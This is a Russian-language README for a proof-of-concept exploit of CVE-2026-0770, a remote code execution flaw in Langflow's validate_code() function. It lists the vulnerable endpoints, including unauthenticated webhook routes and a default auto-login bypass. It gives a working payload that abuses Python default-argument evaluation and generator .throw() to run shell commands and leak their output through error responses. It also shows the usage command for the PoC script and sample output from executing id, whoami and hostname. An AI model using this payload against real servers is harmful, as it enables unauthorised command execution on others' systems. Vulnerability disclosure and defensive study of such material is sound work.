
# PoC для CVE-2026-0770 — удалённое выполнение кода в Langflow
Langflow содержит критическую уязвимость удалённого выполнения кода в функции validate_code(), расположенной в src/lfx/src/lfx/custom/validate.py. Функция использует exec() для выполнения пользовательского Python-кода без песочницы, что позволяет выполнять произвольные команды на сервере.
Аналогичные уязвимости были обнаружены в связанных функциях и конечных точках:
Функция validate_code() анализирует пользовательский код и выполняет определения функций с помощью :
exec()# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- Произвольное выполнение кода
Контекст exec_globals включает доступ к importlib и встроенным функциям Python, что позволяет злоумышленникам импортировать опасные модули (os, subprocess, socket) и выполнять произвольные системные команды.
| Конечная точка | Аутентификация | Вектор атаки |
|---|---|---|
POST /api/v1/validate/code | Требуется* | Прямая отправка кода |
POST /api/v1/custom_component | Требуется* | Код в определении компонента |
POST /api/v1/custom_component/update | Требуется* | Код в обновлении компонента |
POST /api/v1/webhook/{flow_id} | Отсутствует | Поток с код-компонентами |
POST /api/v1/build_public_tmp/{flow_id}/flow | Отсутствует | Выполнение публичного потока |
* Аутентификацию можно обойти, когда AUTO_LOGIN=true (конфигурация по умолчанию)
Следующие функции в validate.py также используют небезопасный exec():
| Функция | Строка | Описание |
|---|---|---|
validate_code() | 66 | Проверяет пользовательский код |
eval_function() | 140 | Вычисляет строки функций |
execute_function() | 182 | Выполняет произвольные функции |
create_function() | 227 | Создаёт функции из кода |
create_class() | 241-442 | Создаёт классы через prepare_global_scope() и build_class_constructor() |
Функция validate_code() выполняет только определения функций, а не вызовы функций. Чтобы добиться выполнения кода с извлечением вывода, мы используем порядок вычисления аргументов по умолчанию в Python.
Ключевая идея: Выражения аргументов по умолчанию вычисляются во время определения функции, а не при её вызове.
def foo(x=print("Я выполняюсь немедленно")):
pass
Однако нам нужно извлечь вывод через HTTP-ответ. Конечная точка возвращает ошибки в теле ответа, поэтому нам нужно вызвать исключение, содержащее наш вывод.
Проблема: raise — это оператор, а не выражение, поэтому его нельзя использовать напрямую в аргументе по умолчанию.
Решение: Используйте метод .throw() генератора, который вызывает исключение и является выражением:
(_ for _ in ()).throw(Exception("вывод здесь"))
Это создаёт пустой генератор и немедленно вызывает исключение. В сочетании с лямбда-функцией для захвата вывода команды:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
Порядок выполнения:
exec() выполняет определение функции_=... вычисляется немедленноsubprocess.run() выполняет команду.throw() генератораvalidate_code() перехватывает его и возвращает ошибку в ответеpython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| Флаг | Описание |
|---|---|
-t, --target | URL цели (обязательно) |
-c, --command | Команда для выполнения (по умолчанию: id && whoami) |
-k, --token | JWT-токен (необязательно, по умолчанию используется автоматический вход) |
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py